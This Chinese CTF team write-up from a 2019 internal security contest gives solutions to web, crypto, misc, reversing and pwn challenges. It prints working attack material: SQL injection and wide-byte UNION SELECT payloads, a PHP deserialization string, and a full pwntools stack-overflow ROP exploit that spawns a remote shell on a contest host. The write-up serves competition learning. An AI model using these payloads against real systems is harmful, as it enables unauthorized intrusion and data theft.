内部赛-2019第一届网络安全攻防大赛团队赛WriteUp
Web
capture
302 跳转 直接 curl -vvv index.php
sha1_test
弱类型比较数组绕过。
http://
b283de07890c42318826c8e4b0c62fd24b8bacd9b7c74ba8.changame.ichunqiu.com/?
x[]=1&y[]=2
md5test
需要两个不同的值的相同的 md5,
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
sqli_test
只过滤了括号,没过滤反斜杠,反斜杠是一个可以转义后面的字符,所有 Username=\&password=or+1%23
就相当于 sql 执行了 Select * from user where username=’xxx\’and password=’or 1#
。
此条件为真。
wbyte
宽字节注入
Payload: http://xxxx/?id=-1%af%27%20union%20select%20flag,flag%20from%20flag%23
whoareyou
源码在 index.php.swp 通过看源码可知道,到 Admin 的序列化,需要 post 一
个 sex 为 girl 才行,然后本地生成一个序列化($a->flag=1)替换 info,flag 就出
来了。
info=O:5:"Admin":1:{s:4:"flag";s:1:"1";};
Crypto
strange_rsa
把 N 拿到在线解密,得到质数,套公式
# coding=utf-8
import gmpy2
n = 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e = 59159
c = 449590107303744450592771521828486744432324538211104865947743276969382998354463377
# p =
# q =
n1 = 782758164865345954251810941
n2 = 810971978554706690040814093
n3 = 1108609086364627583447802163
# n = 322831561921859
# e = 65537
phi_n = (n1 - 1) * (n2 - 1) * (n3 - 1)
d = gmpy2.invert(e, phi_n)
# d = 0x509c42eb6aa8414d3b54864520d5138ba2af5107415695ebb1d35d35e1a3d7d407cea85cefc4ad5cae88030d3647f1aaccb89f89b64057e38804d37aed5e253f
print(d)
# c =0xdc2eeeb2782c
'''
下面是解密过程
'''
m = pow(c, d, n)
print(hex(m))
# hex -> text flag{1e257b39a25c6a7c4d66e197}
加密算法
本题百度搜索是国密 SM4,直接解密就可以,使用 ipython
print hex(__import__('pysm4').decrypt(0x26289786b91d24860de5492672906e67,0x0123456789abcdeffedcba9876543210))[2:].replace('L','').decode('hex')
Misc
Salted
Aes 解密 http://tool.oschina.net/encrypt/
broken
jpg, png文件头修复
hide
Zip 最后存在一些有规律的 29 09
按如下规则
key
|打开压缩包后,不知密码,有几个 txt,长度均为 5,可以用 crc 进行碰撞暴力破
解。破解脚本如下
# coding=utf-8
import binascii
import string
# 0x05DEC988
# 0x6ED247CD
# 0x1C7A5691
# 0x1447EA8C
# 0x2F9875CC
# 0xCAF2D9BB
# you_want = 0x05DEC988
check = [0x05DEC988, 0x6ED247CD, 0x1C7A5691, 0x1447EA8C, 0x2F9875CC, 0xCAF2D9BB]
dic = string.ascii_letters + '0123456789_{}'
print(dic)
def crc(s):
return binascii.crc32(s) & 0xffffffff
for i1 in range(len(dic)):
for i2 in range(len(dic)):
for i3 in range(len(dic)):
for i4 in range(len(dic)):
for i5 in range(len(dic)):
data = dic[i1] + dic[i2] + dic[i3] + dic[i4] + dic[i5]
data_crc = crc(data)
for i in check:
if data_crc == i:
print(data, hex(data_crc))
wx
png 高度隐写
lsb
b0 通道
g0 通道
r0 通道
flag{931a1ff0-0f70-4787-a26c-8b12d828c303}
music
文件末尾分享出bmp文件。
stegsolve r0通道出flag
re
贝斯程序
猜测 flag 是 base64 加密,直接
strings base_program.exe|grep Zm |base64 -D
analysis
wireshark 打开 发现都是 udp 的包 ,在下面的 ssh 和 tcp 连接中发现可以字符串,解密无结果,放弃。
重新打开回话统计 发现都是 192.168.196.1 和 192.168.196.131 的 icmp 包 。尝试打开过滤 a-b,在 201 处发现异常 f 字符 同时依次向下是 l,a ,g,{,
依次统计后得到 flag{8d27955c-2fd5-4a0b-a057-f266220fd817} 提交拿到flag。
strange_apk
先求 index, 然后补6位转8位二进制输出
# enc = 'しぬ1てし7ほγさχξにξゐσつνωξつφ3βつしψζ3ψτεてつρ;;'
# da = "αβγδεζηθικλμνξοπρστυφχψωさしすせそたちつってとゐなにぬねのはひふへほゑま0123456789+/;"
# for c in enc:
# print(f0.index(c),end=',')
lst = [25, 38, 49, 33, 25, 55, 45, 2, 24, 21, 13, 37, 13, 35, 17, 31, 12, 23, 13, 31, 20, 51, 1, 31, 25, 22, 5, 51, 22, 18, 4, 33, 31, 16]
ar = []
for c in lst:
ar.append(f'{c:06b}')
res = ''.join(ar)
carr = [chr(int(res[i:i + 8], 2)) for i in range(0, len(res), 8)]
print(''.join(carr))
# flag{BaSe64_1s_S0_easY!!}
face_system
用pyinstxtractor.py解出pyc文件。 uncompyle6恢复py文件。
pyi_rth .pyc
def writeFlag():
if s:
return
flag_encode = [
102, 109, 99, 100, 127, 50, 54, 99, 48, 104, 111, 106, 63, 32, 104, 54, 37, 38, 63, 39, 37, 36, 33, 58, 33, 127, 40, 35, 49, 37, 125, 45, 18, 66, 70, 16, 17, 65, 71, 21, 28, 84]
tmp = ''
for i in range(len(flag_encode)):
tmp += chr(i ^ flag_encode[i])
print tmp[::-1][:-18]
s = 1
解码
flag_encode = [102, 109, 99, 100, 127, 50, 54, 99, 48, 104, 111, 106, 63, 32, 104, 54, 37, 38, 63, 39, 37, 36, 33, 58, 33, 127, 40, 35, 49, 37, 125, 45, 18, 66, 70, 16, 17, 65, 71, 21, 28, 84]
tmp = ''
for i in range(len(flag_encode)):
tmp += chr(i ^ flag_encode[i])
print(tmp)
# flag{70d8aea3-f957-4117-9f28-8c22cd35da24}
secret_info
int __cdecl main()
{
...
// 长度42
// 高位取dword_273018 低位取 dword_272138
while ( Arglist[i] >> 4 == dword_273018[byte_272178[i]] && (Arglist[i] & 0xF) == dword_272138[v6[i]] )
{
if ( ++i >= 42 )
strcpy(Format, "success");
}
}
v6 = bytes.fromhex('060C01070B00060201060107020D050103030D040301000D080801020D0700010206080209000502020D')
byte_272178 = bytes.fromhex('0202020203010102010102010100010102020001010101000101020200010102020101010101020101030000000000000000000000000000')
dword_273018 = [2,3,6,7]
dword_272138 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
for i in range(42):
hi = dword_273018[byte_272178[i]] << 4
lo = dword_272138[v6[i]]
ch = hi + lo
print(chr(ch), end='')
encry_algo
SM4加密算法, 简化后流程如下
int __cdecl sub_804934A(int a1)
{
key = {
0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0xFE, 0xDC,
0xBA, 0x98, 0x76, 0x54, 0x32, 0x10
};
enc = {
0x26, 0x28, 0x97, 0x86, 0xB9, 0x1D, 0x24, 0x86, 0x0D, 0xE5,
0x49, 0x26, 0x72, 0x90, 0x6E, 0x67
}
write(1, "Please input your flag: ", v1);
read(0, (int)input, 16);
keyExtend(keyEnc, (int)key);
sm4_((int)keyEnc, 1, 16, (int)input, (int)&enc[16]);
for ( i = 0; i <= 15; ++i )
{
if ( enc[i + 16] != enc[i] )
{
v2 = strlen(&v8[200]);
write(1, (int)&v8[200], v2);
result = 1;
goto exit;
}
}
}
解题:
from sm4 import SM4Key
def sm4_decrypt(str_bytes, key_bytes):
key0 = SM4Key(key_bytes)
return key0.decrypt(str_bytes)
m = bytes.fromhex("26289786B91D24860DE5492672906E67")
key = bytes.fromhex('0123456789ABCDEFFEDCBA9876543210')
r = sm4_decrypt(m, key)
print(r)
# aAa_bBb_cCc_dddd
pwn
Broadcast System
经过检查,发现在 change 函数中存在栈溢出,但是不能直接执行 shellcode。
在 choice 中,可以读入 0x10 个字节数据,但过滤了 bin 和 sh,可通过前置\x00 来进行绕过。
change 中,变量为 0x10 个字节,但读取了 0x30 个。。。构造 payload,执行 buff 中的/bin/sh 就可以拿到 shell。
from pwn import *
file_name = './system'
elf = ELF(file_name)
Debug = False
context.log_level = 'debug'
if Debug:
r = process(file_name)
else:
r = remote('39.97.167.120', 56725)
def choice(c):
r.readuntil("Please enter your choice:\n")
r.sendline(c)
def broadcast(message):
r.readuntil("Please input the message you want to broadcast:")
# raw_input()
r.send(message)
def change(message):
r.readuntil("Please select a broadcast channel(1-100)")
r.sendline(message)
if __name__ == '__main__':
system_addr = 0x400810
buff_addr = 0x6020D1 # D0 + 1
ret_addr = 0x400DE3
# raw_input()
change('0')
choice('C')
change('\x00/bin/sh\x00')
choice('B')
payload = 'A' * 0x10 + 'A' * 8
payload += p64(ret_addr)
payload += p64(buff_addr)
payload += p64(system_addr)
broadcast(payload)
r.interactive()
# flag{2631e86a5a2d8da821cab91bee0a3583